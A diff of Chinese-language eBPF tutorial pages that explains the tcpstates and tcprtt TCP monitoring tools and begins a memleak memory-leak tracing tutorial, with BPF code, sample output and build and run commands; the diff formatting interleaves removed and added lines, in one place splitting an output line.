+SKADDR C-PID C-COMM LADDR LPORT RADDR RPORT OLDSTATE -> NEWSTATE MS
+ffff9fd7e8192000 22384 curl 100.66.100.185 0 52.33.159.26 80 CLOSE -> SYN_SENT 0.000
+ffff9fd7e8192000 0 swapper/5 100.66.100.185 63446 52.33.159.26 80 SYN_SENT -> ESTABLISHED 1.373
+ffff9fd7e8192000 22384 curl 100.66.100.185 63446 52.33.159.26 80 ESTABLISHED -> FIN_WAIT1 176.042
+ffff9fd7e819
-#define MAX_ENTRIES 10240
-#define AF_INET 2
-#define AF_INET6 10
-
-const volatile bool filter_by_sport = false;
+2000 0 swapper/5 100.66.100.185 63446 52.33.159.26 80 FIN_WAIT1 -> FIN_WAIT2 0.536
+ffff9fd7e8192000 0 swapper/5 100.66.100.185 63446 52.33.159.26 80 FIN_WAIT2 -> CLOSE 0.006
+
+以上输出中,最多的时间被花在了 ESTABLISHED 状态,也就是连接已经建立并在传输数据的状态,这个状态到 FIN_WAIT1 状态(开始关闭连接的状态)的转变过程中耗费了 176.042 毫秒。
+在我们接下来的教程中,我们会更深入地探讨这两个工具,解释它们的实现原理,希望这些内容对你在使用 eBPF 进行网络和性能分析方面的工作有所帮助。
+tcpstate
+由于篇幅所限,这里我们主要讨论和分析对应的 eBPF 内核态代码实现。以下是 tcpstate 的 eBPF 代码:
+const volatile bool filter_by_sport = false;
const volatile bool filter_by_dport = false;
const volatile short target_family = 0;
@@ -246,78 +252,16 @@ int handle_set_state(struct trace_event_raw_inet_sock_set_state *ctx)
return 0;
}
-
-char LICENSE[] SEC("license") = "Dual BSD/GPL";
-tcpstates 是一个追踪当前系统上的TCP套接字的TCP状态的程序,主要通过跟踪内核跟踪点 inet_sock_set_state 来实现。统计数据通过 perf_event向用户态传输。
-SEC("tracepoint/sock/inet_sock_set_state")
-int handle_set_state(struct trace_event_raw_inet_sock_set_state *ctx)
-
-在套接字改变状态处附加一个eBPF跟踪函数。
- if (ctx->protocol != IPPROTO_TCP)
- return 0;
-
- if (target_family && target_family != family)
- return 0;
-
- if (filter_by_sport && !bpf_map_lookup_elem(&sports, &sport))
- return 0;
-
- if (filter_by_dport && !bpf_map_lookup_elem(&dports, &dport))
- return 0;
-
-跟踪函数被调用后,先判断当前改变状态的套接字是否满足我们需要的过滤条件,如果不满足则不进行记录。
- tsp = bpf_map_lookup_elem(×tamps, &sk);
- ts = bpf_ktime_get_ns();
- if (!tsp)
- delta_us = 0;
- else
- delta_us = (ts - *tsp) / 1000;
-
- event.skaddr = (__u64)sk;
- event.ts_us = ts / 1000;
- event.delta_us = delta_us;
- event.pid = bpf_get_current_pid_tgid() >> 32;
- event.oldstate = ctx->oldstate;
- event.newstate = ctx->newstate;
- event.family = family;
- event.sport = sport;
- event.dport = dport;
- bpf_get_current_comm(&event.task, sizeof(event.task));
-
- if (family == AF_INET) {
- bpf_probe_read_kernel(&event.saddr, sizeof(event.saddr), &sk->__sk_common.skc_rcv_saddr);
- bpf_probe_read_kernel(&event.daddr, sizeof(event.daddr), &sk->__sk_common.skc_daddr);
- } else { /* family == AF_INET6 */
- bpf_probe_read_kernel(&event.saddr, sizeof(event.saddr), &sk->__sk_common.skc_v6_rcv_saddr.in6_u.u6_addr32);
- bpf_probe_read_kernel(&event.daddr, sizeof(event.daddr), &sk->__sk_common.skc_v6_daddr.in6_u.u6_addr32);
- }
-
-使用状态改变相关填充event结构体。
-
-- 此处使用了
libbpf 的 CO-RE 支持。
-
- bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event));
-
-将事件结构体发送至用户态程序。
- if (ctx->newstate == TCP_CLOSE)
- bpf_map_delete_elem(×tamps, &sk);
- else
- bpf_map_update_elem(×tamps, &sk, &ts, BPF_ANY);
-
-根据这个TCP链接的新状态,决定是更新下时间戳记录还是不再记录它的时间戳。
-用户态程序
- while (!exiting) {
- err = perf_buffer__poll(pb, PERF_POLL_TIMEOUT_MS);
- if (err < 0 && err != -EINTR) {
- warn("error polling perf buffer: %s\n", strerror(-err));
- goto cleanup;
- }
- /* reset err to return 0 if exiting */
- err = 0;
- }
-
-不停轮询内核程序所发过来的 perf event。
+tcpstates主要依赖于 eBPF 的 Tracepoints 来捕获 TCP 连接的状态变化,从而跟踪 TCP 连接在每个状态下的停留时间。
+定义 BPF Maps
+在tcpstates程序中,首先定义了几个 BPF Maps,它们是 eBPF 程序和用户态程序之间交互的主要方式。sports和dports分别用于存储源端口和目标端口,用于过滤 TCP 连接;timestamps用于存储每个 TCP 连接的时间戳,以计算每个状态的停留时间;events则是一个 perf_event 类型的 map,用于将事件数据发送到用户态。
+追踪 TCP 连接状态变化
+程序定义了一个名为handle_set_state的函数,该函数是一个 tracepoint 类型的程序,它将被挂载到sock/inet_sock_set_state这个内核 tracepoint 上。每当 TCP 连接状态发生变化时,这个 tracepoint 就会被触发,然后执行handle_set_state函数。
+在handle_set_state函数中,首先通过一系列条件判断确定是否需要处理当前的 TCP 连接,然后从timestampsmap 中获取当前连接的上一个时间戳,然后计算出停留在当前状态的时间。接着,程序将收集到的数据放入一个 event 结构体中,并通过bpf_perf_event_output函数将该 event 发送到用户态。
+更新时间戳
+最后,根据 TCP 连接的新状态,程序将进行不同的操作:如果新状态为 TCP_CLOSE,表示连接已关闭,程序将从timestampsmap 中删除该连接的时间戳;否则,程序将更新该连接的时间戳。
+用户态的部分主要是通过 libbpf 来加载 eBPF 程序,然后通过 perf_event 来接收内核中的事件数据:
static void handle_event(void* ctx, int cpu, void* data, __u32 data_sz) {
char ts[32], saddr[26], daddr[26];
struct event* e = data;
@@ -350,13 +294,100 @@ int handle_set_state(struct trace_event_raw_inet_sock_set_state *ctx)
(double)e->delta_us / 1000);
}
}
+
+handle_event就是这样一个回调函数,它会被 perf_event 调用,每当内核有新的事件到达时,它就会处理这些事件。
+在handle_event函数中,我们首先通过inet_ntop函数将二进制的 IP 地址转换成人类可读的格式,然后根据是否需要输出宽格式,分别打印不同的信息。这些信息包括了事件的时间戳、源 IP 地址、源端口、目标 IP 地址、目标端口、旧状态、新状态以及在旧状态停留的时间。
+这样,用户就可以清晰地看到 TCP 连接状态的变化,以及每个状态的停留时间,从而帮助他们诊断网络问题。
+总结起来,用户态部分的处理主要涉及到了以下几个步骤:
+
+- 使用 libbpf 加载并运行 eBPF 程序。
+- 设置回调函数来接收内核发送的事件。
+- 处理接收到的事件,将其转换成人类可读的格式并打印。
+
+以上就是tcpstates程序用户态部分的主要实现逻辑。通过这一章的学习,你应该已经对如何在用户态处理内核事件有了更深入的理解。在下一章中,我们将介绍更多关于如何使用 eBPF 进行网络监控的知识。
+tcprtt
+在本章节中,我们将分析tcprtt eBPF 程序的内核态代码。tcprtt是一个用于测量 TCP 往返时间(Round Trip Time, RTT)的程序,它将 RTT 的信息统计到一个 histogram 中。
+
+/// @sample {"interval": 1000, "type" : "log2_hist"}
+struct {
+ __uint(type, BPF_MAP_TYPE_HASH);
+ __uint(max_entries, MAX_ENTRIES);
+ __type(key, u64);
+ __type(value, struct hist);
+} hists SEC(".maps");
-static void handle_lost_events(void* ctx, int cpu, __u64 lost_cnt) {
- warn("lost %llu events on CPU #%d\n", lost_cnt, cpu);
+static struct hist zero;
+
+SEC("fentry/tcp_rcv_established")
+int BPF_PROG(tcp_rcv, struct sock *sk)
+{
+ const struct inet_sock *inet = (struct inet_sock *)(sk);
+ struct tcp_sock *ts;
+ struct hist *histp;
+ u64 key, slot;
+ u32 srtt;
+
+ if (targ_sport && targ_sport != inet->inet_sport)
+ return 0;
+ if (targ_dport && targ_dport != sk->__sk_common.skc_dport)
+ return 0;
+ if (targ_saddr && targ_saddr != inet->inet_saddr)
+ return 0;
+ if (targ_daddr && targ_daddr != sk->__sk_common.skc_daddr)
+ return 0;
+
+ if (targ_laddr_hist)
+ key = inet->inet_saddr;
+ else if (targ_raddr_hist)
+ key = inet->sk.__sk_common.skc_daddr;
+ else
+ key = 0;
+ histp = bpf_map_lookup_or_try_init(&hists, &key, &zero);
+ if (!histp)
+ return 0;
+ ts = (struct tcp_sock *)(sk);
+ srtt = BPF_CORE_READ(ts, srtt_us) >> 3;
+ if (targ_ms)
+ srtt /= 1000U;
+ slot = log2l(srtt);
+ if (slot >= MAX_SLOTS)
+ slot = MAX_SLOTS - 1;
+ __sync_fetch_and_add(&histp->slots[slot], 1);
+ if (targ_show_ext) {
+ __sync_fetch_and_add(&histp->latency, srtt);
+ __sync_fetch_and_add(&histp->cnt, 1);
+ }
+ return 0;
}
-收到事件后所调用对应的处理函数并进行输出打印。
+首先,我们定义了一个 hash 类型的 eBPF map,名为hists,它用来存储 RTT 的统计信息。在这个 map 中,键是 64 位整数,值是一个hist结构,这个结构包含了一个数组,用来存储不同 RTT 区间的数量。
+接着,我们定义了一个 eBPF 程序,名为tcp_rcv,这个程序会在每次内核中处理 TCP 收包的时候被调用。在这个程序中,我们首先根据过滤条件(源/目标 IP 地址和端口)对 TCP 连接进行过滤。如果满足条件,我们会根据设置的参数选择相应的 key(源 IP 或者目标 IP 或者 0),然后在hists map 中查找或者初始化对应的 histogram。
+接下来,我们读取 TCP 连接的srtt_us字段,这个字段表示了平滑的 RTT 值,单位是微秒。然后我们将这个 RTT 值转换为对数形式,并将其作为 slot 存储到 histogram 中。
+如果设置了show_ext参数,我们还会将 RTT 值和计数器累加到 histogram 的latency和cnt字段中。
+通过以上的处理,我们可以对每个 TCP 连接的 RTT 进行统计和分析,从而更好地理解网络的性能状况。
+总结起来,tcprtt eBPF 程序的主要逻辑包括以下几个步骤:
+
+- 根据过滤条件对 TCP 连接进行过滤。
+- 在
hists map 中查找或者初始化对应的 histogram。
+- 读取 TCP 连接的
srtt_us字段,并将其转换为对数形式,存储到 histogram 中。
+- 如果设置了
show_ext参数,将 RTT 值和计数器累加到 histogram 的latency和cnt字段中。
+
+tcprtt 挂载到了内核态的 tcp_rcv_established 函数上:
+void tcp_rcv_established(struct sock *sk, struct sk_buff *skb);
+
+这个函数是在内核中处理TCP接收数据的主要函数,主要在TCP连接处于ESTABLISHED状态时被调用。这个函数的处理逻辑包括一个快速路径和一个慢速路径。快速路径在以下几种情况下会被禁用:
+
+- 我们宣布了一个零窗口 - 零窗口探测只能在慢速路径中正确处理。
+- 收到了乱序的数据包。
+- 期待接收紧急数据。
+- 没有剩余的缓冲区空间。
+- 接收到了意外的TCP标志/窗口值/头部长度(通过检查TCP头部与预设标志进行检测)。
+- 数据在两个方向上都在传输。快速路径只支持纯发送者或纯接收者(这意味着序列号或确认值必须保持不变)。
+- 接收到了意外的TCP选项。
+
+当这些条件不满足时,它会进入一个标准的接收处理过程,这个过程遵循RFC793来处理所有情况。前三种情况可以通过正确的预设标志设置来保证,剩下的情况则需要内联检查。当一切都正常时,快速处理过程会在tcp_data_queue函数中被开启。
编译运行
+对于 tcpstates,可以通过以下命令编译和运行 libbpf 应用:
$ make
...
BPF .output/tcpstates.bpf.o
@@ -375,8 +406,92 @@ ffff9bf6d8ee88c0 229832 redis-serv 0.0.0.0 6379 0.0.0.0 0
ffff9bf6d8ee88c0 229832 redis-serv 0.0.0.0 6379 0.0.0.0 0 LISTEN -> CLOSE 1.763
ffff9bf7109d6900 88750 node 127.0.0.1 39755 127.0.0.1 50966 ESTABLISHED -> FIN_WAIT1 0.000
+对于 tcprtt,我们可以使用 eunomia-bpf 编译运行这个例子:
+Compile:
+docker run -it -v `pwd`/:/src/ yunwei37/ebpm:latest
+
+或者
+$ ecc runqlat.bpf.c runqlat.h
+Compiling bpf object...
+Generating export types...
+Packing ebpf object and config into package.json...
+
+运行:
+$ sudo ecli run package.json -h
+A simple eBPF program
+
+
+Usage: package.json [OPTIONS]
+
+Options:
+ --verbose Whether to show libbpf debug information
+ --targ_laddr_hist Set value of `bool` variable targ_laddr_hist
+ --targ_raddr_hist Set value of `bool` variable targ_raddr_hist
+ --targ_show_ext Set value of `bool` variable targ_show_ext
+ --targ_sport <targ_sport> Set value of `__u16` variable targ_sport
+ --targ_dport <targ_dport> Set value of `__u16` variable targ_dport
+ --targ_saddr <targ_saddr> Set value of `__u32` variable targ_saddr
+ --targ_daddr <targ_daddr> Set value of `__u32` variable targ_daddr
+ --targ_ms Set value of `bool` variable targ_ms
+ -h, --help Print help
+ -V, --version Print version
+
+Built with eunomia-bpf framework.
+See https://github.com/eunomia-bpf/eunomia-bpf for more information.
+
+$ sudo ecli run package.json
+key = 0
+latency = 0
+cnt = 0
+
+ (unit) : count distribution
+ 0 -> 1 : 0 | |
+ 2 -> 3 : 0 | |
+ 4 -> 7 : 0 | |
+ 8 -> 15 : 0 | |
+ 16 -> 31 : 0 | |
+ 32 -> 63 : 0 | |
+ 64 -> 127 : 0 | |
+ 128 -> 255 : 0 | |
+ 256 -> 511 : 0 | |
+ 512 -> 1023 : 4 |******************** |
+ 1024 -> 2047 : 1 |***** |
+ 2048 -> 4095 : 0 | |
+ 4096 -> 8191 : 8 |****************************************|
+
+key = 0
+latency = 0
+cnt = 0
+
+ (unit) : count distribution
+ 0 -> 1 : 0 | |
+ 2 -> 3 : 0 | |
+ 4 -> 7 : 0 | |
+ 8 -> 15 : 0 | |
+ 16 -> 31 : 0 | |
+ 32 -> 63 : 0 | |
+ 64 -> 127 : 0 | |
+ 128 -> 255 : 0 | |
+ 256 -> 511 : 0 | |
+ 512 -> 1023 : 11 |*************************** |
+ 1024 -> 2047 : 1 |** |
+ 2048 -> 4095 : 0 | |
+ 4096 -> 8191 : 16 |****************************************|
+ 8192 -> 16383 : 4 |********** |
+
+完整源代码:
+
+参考资料:
+
总结
-这里的代码修改自 https://github.com/iovisor/bcc/blob/master/libbpf-tools/tcpstates.bpf.c
+通过本篇 eBPF 入门实践教程,我们学习了如何使用tcpstates和tcprtt这两个 eBPF 示例程序,监控和分析 TCP 的连接状态和往返时间。我们了解了tcpstates和tcprtt的工作原理和实现方式,包括如何使用 BPF map 存储数据,如何在 eBPF 程序中获取和处理 TCP 连接信息,以及如何在用户态应用程序中解析和显示 eBPF 程序收集的数据。
+如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。接下来的教程将进一步探讨 eBPF 的高级特性,我们会继续分享更多有关 eBPF 开发实践的内容。
eBPF 入门实践教程:编写 eBPF 程序 Memleak 监控内存泄漏
-背景
-内存泄漏对于一个程序而言是一个很严重的问题。倘若放任一个存在内存泄漏的程序运行,久而久之
-系统的内存会慢慢被耗尽,导致程序运行速度显著下降。为了避免这一情况,memleak工具被提出。
-它可以跟踪并匹配内存分配和释放的请求,并且打印出已经被分配资源而又尚未释放的堆栈信息。
实现原理
-memleak 的实现逻辑非常直观。它在我们常用的动态分配内存的函数接口路径上挂载了ebpf程序,
-同时在free上也挂载了ebpf程序。在调用分配内存相关函数时,memleak 会记录调用者的pid,分配得到
-内存的地址,分配得到的内存大小等基本数据。在free之后,memeleak则会去map中删除记录的对应的分配
-信息。对于用户态常用的分配函数 malloc, calloc 等,memleak使用了 uporbe 技术实现挂载,对于
-内核态的函数,比如 kmalloc 等,memleak 则使用了现有的 tracepoint 来实现。
编写 eBPF 程序
-struct {
- __uint(type, BPF_MAP_TYPE_HASH);
- __type(key, pid_t);
- __type(value, u64);
- __uint(max_entries, 10240);
-} sizes SEC(".maps");
+ eBPF 入门实践教程十六:编写 eBPF 程序 Memleak 监控内存泄漏
+eBPF(扩展的伯克利数据包过滤器)是一项强大的网络和性能分析工具,被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码,而无需重启内核或更改内核源代码。
+在本篇教程中,我们将探讨如何使用 eBPF 编写 Memleak 程序,以监控程序的内存泄漏。
+背景及其重要性
+内存泄漏是计算机编程中的一种常见问题,其严重程度不应被低估。内存泄漏发生时,程序会逐渐消耗更多的内存资源,但并未正确释放。随着时间的推移,这种行为会导致系统内存逐渐耗尽,从而显著降低程序及系统的整体性能。
+内存泄漏有多种可能的原因。这可能是由于配置错误导致的,例如程序错误地配置了某些资源的动态分配。它也可能是由于软件缺陷或错误的内存管理策略导致的,如在程序执行过程中忘记释放不再需要的内存。此外,如果一个应用程序的内存使用量过大,那么系统性能可能会因页面交换(swapping)而大幅下降,甚至可能导致应用程序被系统强制终止(Linux 的 OOM killer)。
+调试内存泄漏的挑战
+调试内存泄漏问题是一项复杂且挑战性的任务。这涉及到详细检查应用程序的配置、内存分配和释放情况,通常需要应用专门的工具来帮助诊断。例如,有一些工具可以在应用程序启动时将 malloc() 函数调用与特定的检测工具关联起来,如 Valgrind memcheck,这类工具可以模拟 CPU 来检查所有内存访问,但可能会导致应用程序运行速度大大减慢。另一个选择是使用堆分析器,如 libtcmalloc,它相对较快,但仍可能使应用程序运行速度降低五倍以上。此外,还有一些工具,如 gdb,可以获取应用程序的核心转储并进行后处理以分析内存使用情况。然而,这些工具通常在获取核心转储时需要暂停应用程序,或在应用程序终止后才能调用 free() 函数。
+eBPF 的作用
+在这种背景下,eBPF 的作用就显得尤为重要。eBPF 提供了一种高效的机制来监控和追踪系统级别的事件,包括内存的分配和释放。通过 eBPF,我们可以跟踪内存分配和释放的请求,并收集每次分配的调用堆栈。然后,我们可以分
+析这些信息,找出执行了内存分配但未执行释放操作的调用堆栈,这有助于我们找出导致内存泄漏的源头。这种方式的优点在于,它可以实时地在运行的应用程序中进行,而无需暂停应用程序或进行复杂的前后处理。
+memleak eBPF 工具可以跟踪并匹配内存分配和释放的请求,并收集每次分配的调用堆栈。随后,memleak 可以打印一个总结,表明哪些调用堆栈执行了分配,但是并没有随后进行释放。例如,我们运行命令:
+# ./memleak -p $(pidof allocs)
+Attaching to pid 5193, Ctrl+C to quit.
+[11:16:33] Top 2 stacks with outstanding allocations:
+ 80 bytes in 5 allocations from stack
+ main+0x6d [allocs]
+ __libc_start_main+0xf0 [libc-2.21.so]
-struct {
- __uint(type, BPF_MAP_TYPE_HASH);
- __type(key, u64); /* address */
- __type(value, struct alloc_info);
- __uint(max_entries, ALLOCS_MAX_ENTRIES);
-} allocs SEC(".maps");
+[11:16:34] Top 2 stacks with outstanding allocations:
+ 160 bytes in 10 allocations from stack
+ main+0x6d [allocs]
+ __libc_start_main+0xf0 [libc-2.21.so]
+
+运行这个命令后,我们可以看到分配但未释放的内存来自于哪些堆栈,并且可以看到这些未释放的内存的大小和数量。
+随着时间的推移,很显然,allocs 进程的 main 函数正在泄漏内存,每次泄漏 16 字节。幸运的是,我们不需要检查每个分配,我们得到了一个很好的总结,告诉我们哪个堆栈负责大量的泄漏。
+memleak 的实现原理
+在基本层面上,memleak 的工作方式类似于在内存分配和释放路径上安装监控设备。它通过在内存分配和释放函数中插入 eBPF 程序来达到这个目标。这意味着,当这些函数被调用时,memleak 就会记录一些重要信息,如调用者的进程 ID(PID)、分配的内存地址以及分配的内存大小等。当释放内存的函数被调用时,memleak 则会在其内部的映射表(map)中删除相应的内存分配记录。这种机制使得 memleak 能够准确地追踪到哪些内存块已被分配但未被释放。
+对于用户态的常用内存分配函数,如 malloc 和 calloc 等,memleak 利用了用户态探测(uprobe)技术来实现监控。uprobe 是一种用于用户空间应用程序的动态追踪技术,它可以在运行时不修改二进制文件的情况下在任意位置设置断点,从而实现对特定函数调用的追踪。
+对于内核态的内存分配函数,如 kmalloc 等,memleak 则选择使用了 tracepoint 来实现监控。Tracepoint 是一种在 Linux 内核中提供的动态追踪技术,它可以在内核运行时动态地追踪特定的事件,而无需重新编译内核或加载内核模块。
+内核态 eBPF 程序实现
+memleak 内核态 eBPF 程序实现
+memleak 的内核态 eBPF 程序包含一些用于跟踪内存分配和释放的关键函数。在我们深入了解这些函数之前,让我们首先观察 memleak 所定义的一些数据结构,这些结构在其内核态和用户态程序中均有使用。
+#ifndef __MEMLEAK_H
+#define __MEMLEAK_H
-struct {
- __uint(type, BPF_MAP_TYPE_HASH);
- __type(key, u64); /* stack id */
- __type(value, union combined_alloc_info);
- __uint(max_entries, COMBINED_ALLOCS_MAX_ENTRIES);
-} combined_allocs SEC(".maps");
-
-struct {
- __uint(type, BPF_MAP_TYPE_HASH);
- __type(key, u64);
- __type(value, u64);
- __uint(max_entries, 10240);
-} memptrs SEC(".maps");
-
-struct {
- __uint(type, BPF_MAP_TYPE_STACK_TRACE);
- __type(key, u32);
-} stack_traces SEC(".maps");
+#define ALLOCS_MAX_ENTRIES 1000000
+#define COMBINED_ALLOCS_MAX_ENTRIES 10240
struct alloc_info {
- __u64 size;
- __u64 timestamp_ns;
- int stack_id;
+ __u64 size; // 分配的内存大小
+ __u64 timestamp_ns; // 分配时的时间戳,单位为纳秒
+ int stack_id; // 分配时的调用堆栈ID
};
union combined_alloc_info {
- struct {
- __u64 total_size : 40;
- __u64 number_of_allocs : 24;
- };
- __u64 bits;
+ struct {
+ __u64 total_size : 40; // 所有未释放分配的总大小
+ __u64 number_of_allocs : 24; // 所有未释放分配的总次数
+ };
+ __u64 bits; // 结构的位图表示
};
+
+#endif /* __MEMLEAK_H */
-这段代码定义了memleak工具中使用的5个BPF Map:
-
-- sizes用于记录程序中每个内存分配请求的大小;
-- allocs用于跟踪每个内存分配请求的详细信息,包括请求的大小、堆栈信息等;
-- combined_allocs的键是堆栈的唯一标识符(stack id),值是一个combined_alloc_info联合体,用于记录该堆栈的内存分配总大小和内存分配数量;
-- memptrs用于跟踪每个内存分配请求返回的指针,以便在内存释放请求到来时找到对应的内存分配请求;
-- stack_traces是一个堆栈跟踪类型的哈希表,用于存储每个线程的堆栈信息(key为线程id,value为堆栈跟踪信息)以便在内存分配和释放请求到来时能够追踪和分析相应的堆栈信息。
-
-其中combined_alloc_info是一个联合体,其中包含一个结构体和一个unsigned long long类型的变量bits。结构体中的两个成员变量total_size和number_of_allocs分别表示总分配大小和分配的次数。其中40和24分别表示total_size和number_of_allocs这两个成员变量所占用的位数,用来限制其大小。通过这样的位数限制,可以节省combined_alloc_info结构的存储空间。同时,由于total_size和number_of_allocs在存储时是共用一个unsigned long long类型的变量bits,因此可以通过在成员变量bits上进行位运算来访问和修改total_size和number_of_allocs,从而避免了在程序中定义额外的变量和函数的复杂性。
-static int gen_alloc_enter(size_t size)
-{
- if (size < min_size || size > max_size)
- return 0;
+这里定义了两个主要的数据结构:alloc_info 和 combined_alloc_info。
+alloc_info 结构体包含了一个内存分配的基本信息,包括分配的内存大小 size、分配发生时的时间戳 timestamp_ns,以及触发分配的调用堆栈 ID stack_id。
+combined_alloc_info 是一个联合体(union),它包含一个嵌入的结构体和一个 __u64 类型的位图表示 bits。嵌入的结构体有两个成员:total_size 和 number_of_allocs,分别代表所有未释放分配的总大小和总次数。其中 40 和 24 分别表示 total_size 和 number_of_allocs这两个成员变量所占用的位数,用来限制其大小。通过这样的位数限制,可以节省combined_alloc_info结构的存储空间。同时,由于total_size和number_of_allocs在存储时是共用一个unsigned long long类型的变量bits,因此可以通过在成员变量bits上进行位运算来访问和修改total_size和number_of_allocs,从而避免了在程序中定义额外的变量和函数的复杂性。
+接下来,memleak 定义了一系列用于保存内存分配信息和分析结果的 eBPF 映射(maps)。这些映射都以 SEC(".maps") 的形式定义,表示它们属于 eBPF 程序的映射部分。
+const volatile size_t min_size = 0;
+const volatile size_t max_size = -1;
+const volatile size_t page_size = 4096;
+const volatile __u64 sample_rate = 1;
+const volatile bool trace_all = false;
+const volatile __u64 stack_flags = 0;
+const volatile bool wa_missing_free = false;
- if (sample_rate > 1) {
- if (bpf_ktime_get_ns() % sample_rate != 0)
- return 0;
- }
+struct {
+ __uint(type, BPF_MAP_TYPE_HASH);
+ __type(key, pid_t);
+ __type(value, u64);
+ __uint(max_entries, 10240);
+} sizes SEC(".maps");
- const pid_t pid = bpf_get_current_pid_tgid() >> 32;
- bpf_map_update_elem(&sizes, &pid, &size, BPF_ANY);
+struct {
+ __uint(type, BPF_MAP_TYPE_HASH);
+ __type(key, u64); /* address */
+ __type(value, struct alloc_info);
+ __uint(max_entries, ALLOCS_MAX_ENTRIES);
+} allocs SEC(".maps");
- if (trace_all)
- bpf_printk("alloc entered, size = %lu\n", size);
+struct {
+ __uint(type, BPF_MAP_TYPE_HASH);
+ __type(key, u64); /* stack id */
+ __type(value, union combined_alloc_info);
+ __uint(max_entries, COMBINED_ALLOCS_MAX_ENTRIES);
+} combined_allocs SEC(".maps");
- return 0;
-}
+struct {
+ __uint(type, BPF_MAP_TYPE_HASH);
+ __type(key, u64);
+ __type(value, u64);
+ __uint(max_entries, 10240);
+} memptrs SEC(".maps");
-SEC("uprobe")
+struct {
+ __uint(type, BPF_MAP_TYPE_STACK_TRACE);
+ __type(key, u32);
+} stack_traces SEC(".maps");
+
+static union combined_alloc_info initial_cinfo;
+
+这段代码首先定义了一些可配置的参数,如 min_size, max_size, page_size, sample_rate, trace_all, stack_flags 和 wa_missing_free,分别表示最小分配大小、最大分配大小、页面大小、采样率、是否追踪所有分配、堆栈标志和是否工作在缺失释放(missing free)模式。
+接着定义了五个映射:
+
+sizes:这是一个哈希类型的映射,键为进程 ID,值为 u64 类型,存储每个进程的分配大小。
+allocs:这也是一个哈希类型的映射,键为分配的地址,值为 alloc_info 结构体,存储每个内存分配的详细信息。
+combined_allocs:这是另一个哈希类型的映射,键为堆栈 ID,值为 combined_alloc_info 联合体,存储所有未释放分配的总大小和总次数。
+memptrs:这也是一个哈希类型的映射,键和值都为 u64 类型,用于在用户空间和内核空间之间传递内存指针。
+stack_traces:这是一个堆栈追踪类型的映射,键为 u32 类型,用于存储堆栈 ID。
+
+以用户态的内存分配追踪部分为例,主要是挂钩内存相关的函数调用,如 malloc, free, calloc, realloc, mmap 和 munmap,以便在调用这些函数时进行数据记录。在用户态,memleak 主要使用了 uprobes 技术进行挂载。
+每个函数调用被分为 "enter" 和 "exit" 两部分。"enter" 部分记录的是函数调用的参数,如分配的大小或者释放的地址。"exit" 部分则主要用于获取函数的返回值,如分配得到的内存地址。
+这里,gen_alloc_enter, gen_alloc_exit, gen_free_enter 是实现记录行为的函数,他们分别用于记录分配开始、分配结束和释放开始的相关信息。
+函数原型示例如下:
+SEC("uprobe")
int BPF_KPROBE(malloc_enter, size_t size)
{
- return gen_alloc_enter(size);
-}
-
-这个函数用于处理内存分配请求的进入事件。它会首先检查内存分配请求的大小是否在指定的范围内,如果不在范围内,则直接返回0表示不处理该事件。如果启用了采样率(sample_rate > 1),则该函数会采样内存分配请求的进入事件。如果当前时间戳不是采样周期的倍数,则也会直接返回0,表示不处理该事件。接下来,该函数会获取当前线程的PID并将其存储在pid变量中。然后,它会将当前线程的pid和请求的内存分配大小存储在sizes map中,以便后续收集和分析内存分配信息。如果开启了跟踪模式(trace_all),该函数会通过bpf_printk打印日志信息,以便用户实时监控内存分配的情况。
-最后定义了BPF_KPROBE(malloc_enter, size_t size),它会在malloc函数被调用时被BPF uprobe拦截执行,并通过gen_alloc_enter来记录内存分配大小。
-static void update_statistics_add(u64 stack_id, u64 sz)
-{
- union combined_alloc_info *existing_cinfo;
-
- existing_cinfo = bpf_map_lookup_or_try_init(&combined_allocs, &stack_id, &initial_cinfo);
- if (!existing_cinfo)
- return;
-
- const union combined_alloc_info incremental_cinfo = {
- .total_size = sz,
- .number_of_allocs = 1
- };
-
- __sync_fetch_and_add(&existing_cinfo->bits, incremental_cinfo.bits);
-}
-static int gen_alloc_exit2(void *ctx, u64 address)
-{
- const pid_t pid = bpf_get_current_pid_tgid() >> 32;
- struct alloc_info info;
-
- const u64* size = bpf_map_lookup_elem(&sizes, &pid);
- if (!size)
- return 0; // missed alloc entry
-
- __builtin_memset(&info, 0, sizeof(info));
-
- info.size = *size;
- bpf_map_delete_elem(&sizes, &pid);
-
- if (address != 0) {
- info.timestamp_ns = bpf_ktime_get_ns();
-
- info.stack_id = bpf_get_stackid(ctx, &stack_traces, stack_flags);
-
- bpf_map_update_elem(&allocs, &address, &info, BPF_ANY);
-
- update_statistics_add(info.stack_id, info.size);
- }
-
- if (trace_all) {
- bpf_printk("alloc exited, size = %lu, result = %lx\n",
- info.size, address);
- }
-
- return 0;
-}
-static int gen_alloc_exit(struct pt_regs *ctx)
-{
- return gen_alloc_exit2(ctx, PT_REGS_RC(ctx));
+ // 记录分配开始的相关信息
+ return gen_alloc_enter(size);
}
SEC("uretprobe")
int BPF_KRETPROBE(malloc_exit)
{
- return gen_alloc_exit(ctx);
-}
-
-gen_alloc_exit2函数会在内存释放时被调用,它用来记录内存释放的信息,并更新相关的 map。具体地,它首先通过 bpf_get_current_pid_tgid 来获取当前进程的 PID,并将其右移32位,获得PID值,然后使用 bpf_map_lookup_elem 查找 sizes map 中与该 PID 相关联的内存分配大小信息,并将其赋值给 info.size。如果找不到相应的 entry,则返回 0,表示在内存分配时没有记录到该 PID 相关的信息。接着,它会调用 __builtin_memset 来将 info 的所有字段清零,并调用 bpf_map_delete_elem 来删除 sizes map 中与该 PID 相关联的 entry。
-如果 address 不为 0,则说明存在相应的内存分配信息,此时它会调用 bpf_ktime_get_ns 来获取当前时间戳,并将其赋值给 info.timestamp_ns。然后,它会调用 bpf_get_stackid 来获取当前函数调用堆栈的 ID,并将其赋值给 info.stack_id。最后,它会调用 bpf_map_update_elem 来将 address 和 info 相关联,即将 address 映射到 info。随后,它会调用 update_statistics_add 函数来更新 combined_allocs map 中与 info.stack_id 相关联的内存分配信息。
-最后,如果 trace_all 为真,则会调用 bpf_printk 打印相关的调试信息。
